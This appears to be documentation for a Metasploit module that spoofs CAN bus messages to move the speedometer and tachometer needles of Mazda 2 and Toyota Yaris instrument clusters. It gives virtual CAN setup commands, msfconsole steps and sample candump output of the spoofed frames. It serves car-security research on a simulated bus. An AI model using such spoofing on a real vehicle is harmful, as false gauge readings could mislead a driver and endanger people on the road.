Introduction
mazda_ic_mover or Mazda 2 Instrument Cluster Accelorometer Mover sends CAN message to move the needle of the accelorometer and speedometer of the Mazda 2 instrument cluster. This works specifically for for Mazda 2 1.5 Skyactiv, Mazda Demio, Mazda 2 Demio, Scion iA, Toyota Yaris, Toyota Yaris R and Toyota Yaris iA.
This research was done by Jay Turla of ROOTCON's Car Hacking Village.
Verification Steps
Fire up virtual CAN bus:
sudo modprobe can
sudo modprobe vcan
sudo ip link add dev vcan0 type vcan
sudo ip link set up vcan0
You could also use Craig Smith's Virtual Instrument Cluster Simulator.
Launch msf:
Start msfconsole
use auxiliary/server/local_hwbridge
set uripath testbus
run
use auxiliary/client/hwbridge/connect
set targeturi testbus
Options
CANBUS CAN Bus to perform scan on, defaults to connected bus
Scenarios
A successful spoofing of an instrument cluster on a target vehicle:
msf5 auxiliary(client/hwbridge/connect) > run

You can use candump to verify the CAN messages being sent:
jjt@ubuntu:~/pentot/ICSim$ candump -c vcan0
vcan0 202 [8] 60 01 60 60 60 60 60 00
vcan0 202 [8] 60 01 60 60 60 60 60 00
vcan0 202 [8] 60 01 60 60 60 60 60 00
vcan0 202 [8] 60 01 60 60 60 60 60 00
